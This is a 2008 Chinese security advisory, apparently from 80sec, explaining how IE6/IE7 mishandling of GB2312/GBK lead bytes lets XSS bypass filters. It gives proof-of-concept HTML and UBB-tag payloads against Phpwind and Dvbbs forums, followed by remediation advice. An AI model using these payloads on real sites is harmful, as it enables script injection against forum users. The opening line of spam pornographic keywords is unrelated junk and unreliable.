欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

字符集導(dǎo)致的瀏覽器跨站腳本攻擊分析

 更新時(shí)間:2008年06月07日 22:21:09   作者:  
前言:這種利用類型的攻擊早在06年就被安全研究人員指出,不過一直沒有在國內(nèi)重視。而由于我們國內(nèi)大部分站點(diǎn)正是這種有漏洞的字符集,所以影響還是比較大,希望各大站快速修復(fù)。可以看看http://applesoup.googlepages.com/。
|=———————————————————————————————–=|
|=—————–=[ 字符集導(dǎo)致的瀏覽器跨站腳本攻擊 ]=—————–=|
|=———————————————————————————————–=|
|=————————————-=[ By jianxin ]=————————————=|
|=——————————-=[ jianxin@80sec.com ]=—————————-=|
|=————————————————————————————————=|

文中<已經(jīng)被替換為〈,如果需要文檔,請?jiān)L問http://www.80sec.com/release/charset-xss.txt

在一般的web程序里,顯示數(shù)據(jù)給瀏覽器的時(shí)候都會指定一個(gè)字符集,在國內(nèi)平時(shí)我們用到的字符集有utf-8,GBK,gb2312等等,字符集指示了瀏 覽器該如何對待返回的數(shù)據(jù)。其中g(shù)b2312和GBK字符集使用得非常廣泛,但是經(jīng)證明,IE在處理這些寬字符集的時(shí)候存在問題,導(dǎo)致可能程序的一些安全 規(guī)則被Bypass掉,引發(fā)嚴(yán)重的跨站腳本安全漏洞。在IE里,如果它遇到一個(gè)字符,它是指定字符集里的第一位的時(shí)候,就會認(rèn)為其后續(xù)字符和當(dāng)前字符構(gòu)成 一個(gè)合法的字符,這樣它在解析包括html標(biāo)簽,處理javascript,Css時(shí)都會做如此考慮,測試版本為ie6和ie7。

1 Bypass某些js的檢查規(guī)則

〈HTML>
〈HEAD>
〈TITLE>80sec test〈/TITLE>
〈meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
〈/HEAD>
〈BODY>
〈script>
window.onerror=function(){
alert('Vul');
return true;
}
〈/script>
〈script>x='〈?php echo chr(0xC1);?>';y='[User_IN_PUT]‘;〈/script>
〈/BODY>
〈/HTML>
這里即使是過濾了〈>'\等字符一樣可以利用非法字符集序列來實(shí)現(xiàn)\的作用,因?yàn)樗鼤言瓉泶嬖诘?給結(jié)合掉,然后前面的'找不到閉合,后面[User_IN_PUT]就可以用來執(zhí)行js代碼了。

2 Bypass某些屬性的檢查規(guī)則

為了避免直接使用html導(dǎo)致出現(xiàn)漏洞,一些論壇和程序使用了UBB標(biāo)簽,但是在gbk等多字節(jié)編碼下,一樣容易出現(xiàn)問題,以最容易出現(xiàn)問題的一個(gè)UBB標(biāo)簽為例子:

[color=xyz〈?php echo chr(0xC1);?>][/color][color=abc onmouseover=alert(/xss/) s=〈?php echo chr(0xC1);?>]exploited[/color]
0xC1是一個(gè)gb2312的第一個(gè)字節(jié),上面結(jié)果將會轉(zhuǎn)化為:

〈font color="xyz?>〈/font>〈font color="abc onmouseover=alert(/xss/) s=?>exploited〈/font>
其中的alert(/xss/)將會做一個(gè)事件執(zhí)行,所以即使UBB標(biāo)簽也變得不安全,能饒過”的保護(hù)。許多論壇都沒有注意這點(diǎn),phpwind,動網(wǎng)等 論壇就容易受到這種攻擊。而Discuz通過在轉(zhuǎn)換結(jié)果之后附加一個(gè)空格,修補(bǔ)了這一安全問題。這里使用到ubb標(biāo)簽其實(shí)有一個(gè)很有意思的tips在里 面,因?yàn)橛械臄?shù)據(jù)庫會拋棄與指定字符集不匹配的字符,所以必須借助后面的]等字符來形成一個(gè)有效的漢字才能存儲到數(shù)據(jù)庫里,當(dāng)然像ACCESS這種就不會 有問題了,另外一些語言在處理字符串的時(shí)候會強(qiáng)制字符串的字符集類型,不合法的字符會導(dǎo)致轉(zhuǎn)碼的失敗或者遭到拋棄,所以也不能利用這種類型的攻擊。

3 幾個(gè)小例子

Phpwind論壇charset跨站腳本漏洞

[email=xxxx羃[/email][email=xxxx onmouseover=alert() s=羃]Fuck Me[/email]
[font=宋體;0xc1]xxx[/font][url=http://onmouseover=alert()//]xx[/url]
羃是一個(gè)特殊的十六進(jìn)制編碼和后面的]結(jié)合出來的字符,第一個(gè)種方法可以直接復(fù)制的:)
0xc1表示一個(gè)十六進(jìn)制的字符編碼

同樣在dvbbs論壇也很容易產(chǎn)生一個(gè)xss代碼如下

〈font face="微軟雅羃>xxxxxxxxxxx〈/font>〈font face=" onmouseover=alert() x=羃>xxxxxxxxxxx〈/font>
均在新版和老版測試通過。

4 關(guān)于修復(fù)

對于程序設(shè)計(jì)者,由于UTF-8字符集的可靠性,不存在這個(gè)安全漏洞,所以大家在設(shè)計(jì)站點(diǎn)的時(shí)候可以考慮使用UTF-8字符集。
對于廣大開發(fā)者,可以牢記最小輸入等于最大安全的原則,在匹配正則的時(shí)候限制輸入的字符的范圍,盡量匹配ascii字符,如果必須使用中文,可以考慮類似于discuz的在中文后面添加空格修復(fù)該問題。
對于廣大用戶,這個(gè)漏洞由于瀏覽器處理頁面字符的不同,可以考慮使用如Firefox瀏覽器,可以避免一部分這樣的問題。

本站內(nèi)容均為原創(chuàng),轉(zhuǎn)載請務(wù)必保留署名與鏈接!
字符集導(dǎo)致的瀏覽器跨站腳本攻擊:http://www.80sec.com/charset-xss.html

相關(guān)文章

最新評論